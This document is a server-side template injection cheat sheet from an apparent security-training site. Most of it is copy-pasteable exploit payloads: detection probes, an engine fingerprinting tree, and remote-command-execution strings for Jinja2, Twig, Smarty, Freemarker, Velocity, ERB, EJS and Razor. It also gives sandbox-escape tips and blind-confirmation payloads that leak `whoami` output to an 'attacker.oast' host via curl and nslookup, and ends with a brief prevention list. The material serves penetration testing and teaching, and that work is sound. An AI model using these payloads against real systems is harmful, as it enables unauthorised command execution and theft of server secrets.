Server-Side Template Injection (SSTI): The Complete Practical Guide

SSTI Cheat Sheet

A dense, copy-pasteable SSTI reference: detection probes, the engine decision tree, and RCE payloads for Jinja2, Twig, Freemarker, Velocity, ERB, and more.

Published

Every SSTI probe and payload in one place. The core move never changes: get the server's template engine to evaluate your input as code, then reach the host language's object model. For the how and why behind each section, start at the SSTI guide. Lock it in on a free live target.

Detection polyglot (breaks out of several engines at once)

${{<%[%'"}}%\

An error or a mangled fragment flags a template context worth probing. See detection and confirmation.

Math probes (pick the syntax family)

{{7*7}}        -> 49     Jinja2, Twig, Nunjucks, Liquid, Django var syntax
${7*7}         -> 49     Freemarker, Velocity, JSP EL, Thymeleaf
#{7*7}         -> 49     some expression languages
<%= 7*7 %>     -> 49     ERB (Ruby), EJS (Node)
{7*7}          -> 49     Smarty
@(7*7)         -> 49     Razor (.NET)

Engine decision tree (corrected fingerprint)

{{7*7}} == 49 ?
  |-- yes --> {{7*'7'}} == ?
  |             |-- 7777777  --> Jinja2 (Python: int * string repeats)
  |             |-- 49       --> Twig  (PHP: string coerced to number)
  |                              confirm: {{config}} => Jinja2 ; {{_self}} => Twig
  |-- no  --> ${7*7} == 49 ?
                |-- yes --> <#assign .../> renders => Freemarker ; #set($x).. => Velocity
                |-- no  --> try <%= 7*7 %> (ERB/EJS) , {7*7} (Smarty) , @(7*7) (Razor)

{{7*'7'}} = 7777777 is Jinja2, 49 is Twig. See identifying the engine.

Jinja2 (Python) RCE

{{ config.items() }}                  {# dump Flask config + secrets #}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ lipsum.__globals__['os'].popen('id').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
 
{# classic (brittle) object walk #}
{{ ''.__class__.__mro__[1].__subclasses__() }}
 
{# when dotted dunder access is filtered, use brackets #}
{{ ''['__class__']['__mro__'][1]['__subclasses__']() }}

See exploiting Jinja2.

Twig (PHP) RCE (version matters)

{{ 7*'7' }}                           {# 49 confirms Twig #}
 
{# Twig 1.x ONLY (dead on 2.x/3.x) #}
{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
 
{# Twig >=1.41 / 2.x / 3.x (modern default) #}
{{ ['id']|filter('system') }}
{{ ['id']|map('system')|join }}
{{ ['id',1]|sort('system')|join }}

Smarty (PHP) RCE

{system('id')}
{php}system('id');{/php}              {* legacy; {php} removed by default in Smarty 3.1 *}

Freemarker (Java) RCE

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
${ "freemarker.template.utility.Execute"?new()("id") }

Velocity (Java) RCE

#set($e="e")
#set($run=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
$run.exec("id")                       ## exec returns a Process; read its stream or go OOB for output

ERB / EJS / Razor RCE

ERB (Ruby):   <%= system('id') %>        <%= `id` %>        <%= IO.popen('id').read %>
EJS (Node):   <%= global.process.mainModule.require('child_process').execSync('id') %>
Razor (.NET): @System.Diagnostics.Process.Start("cmd","/c id")

Sandbox escape notes

Jinja2:  SandboxedEnvironment blocks dotted dunder names -> use bracket lookups,
         attr()/getattr indirection, or allowed globals (cycler/lipsum/request)
         that still expose __globals__ -> os.
Twig:    sandbox is a policy allow-list -> find an allowed callback-taking filter
         (filter/map/sort/reduce) or an unsandboxed include.
Exec blocked? Fall back to file read (open/read via globals) or write a file into a
         web-reachable path and fetch it.

Blind SSTI confirmation

Timing:  {{ lipsum.__globals__['os'].popen('sleep 10').read() }}   (watch the delay)
OOB:     {{ lipsum.__globals__['os'].popen('nslookup $(whoami).attacker.oast').read() }}
         {{ lipsum.__globals__['os'].popen('curl http://attacker.oast/$(whoami)').read() }}
File:    write output to a web-readable path, then fetch it.

See blind SSTI.

Prevention

  • Never render user input as a template. Pass it as a context variable so a probe is displayed, not evaluated.
  • Prefer logic-less templates (Mustache) for user-customizable content: no object model to walk.
  • Enable the engine sandbox strictly, as defense in depth only (it is escapable).
  • Keep dangerous objects and callback-taking filters out of untrusted contexts.
  • Context-aware output escaping for the XSS that follows.
  • Audit emails, PDFs, themes, and filenames as template sinks, and patch the engine.

Full detail in preventing SSTI.

← Back to Server-Side Template Injection (SSTI): The Complete Practical Guide